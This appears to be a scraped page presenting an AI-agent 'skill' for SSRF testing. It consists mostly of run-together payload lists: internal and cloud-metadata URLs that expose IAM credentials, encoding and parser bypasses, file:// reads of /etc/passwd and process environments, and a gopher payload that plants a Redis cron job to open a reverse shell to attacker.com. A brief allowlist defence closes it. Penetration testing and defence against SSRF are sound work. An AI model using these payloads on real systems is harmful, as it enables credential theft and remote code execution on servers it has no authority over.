Loading...
Loading...
Professional Skills and Methodologies for SSRF (Server-Side Request Forgery) Testing
npx skill4agent add ed1s0nz/cyberstrikeai ssrf-testinghttp://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]http://192.168.1.1
http://10.0.0.1
http://172.16.0.1file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts127.0.0.1 → 2130706433 (Decimal)
127.0.0.1 → 0x7f000001 (Hexadecimal)
127.0.0.1 → 0177.0.0.1 (Octal)127.0.0.1.xip.io
127.0.0.1.nip.io
localtest.mehttp://attacker.com/redirect → http://127.0.0.1http://127.0.0.1:80@evil.com
http://evil.com#@127.0.0.1# Use Burp Intruder
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:8080
http://127.0.0.1:9200http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/http://127.0.0.1:8080/admin
http://192.168.1.100/phpmyadminhttp://127.0.0.1:6379
# Then send Redis commandshttp://127.0.0.1:9000
# Execute commands using FastCGI protocolgopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0agopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0adict://127.0.0.1:6379/info
dict://127.0.0.1:3306/statusfile:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file:///proc/self/environ# Basic Scan
python3 ssrfmap.py -r request.txt -p url
# Port Scan
python3 ssrfmap.py -r request.txt -p url -m portscan
# Cloud Metadata
python3 ssrfmap.py -r request.txt -p url -m cloud# Generate Gopher payload
python gopherus.py --exploit redishttp://burpcollaborator.net
# Observe if there are DNS/HTTP requestsALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_DOMAINS:
raise ValueError("Domain not allowed")import ipaddress
def is_internal_ip(ip):
return ipaddress.ip_address(ip).is_private or \
ipaddress.ip_address(ip).is_loopback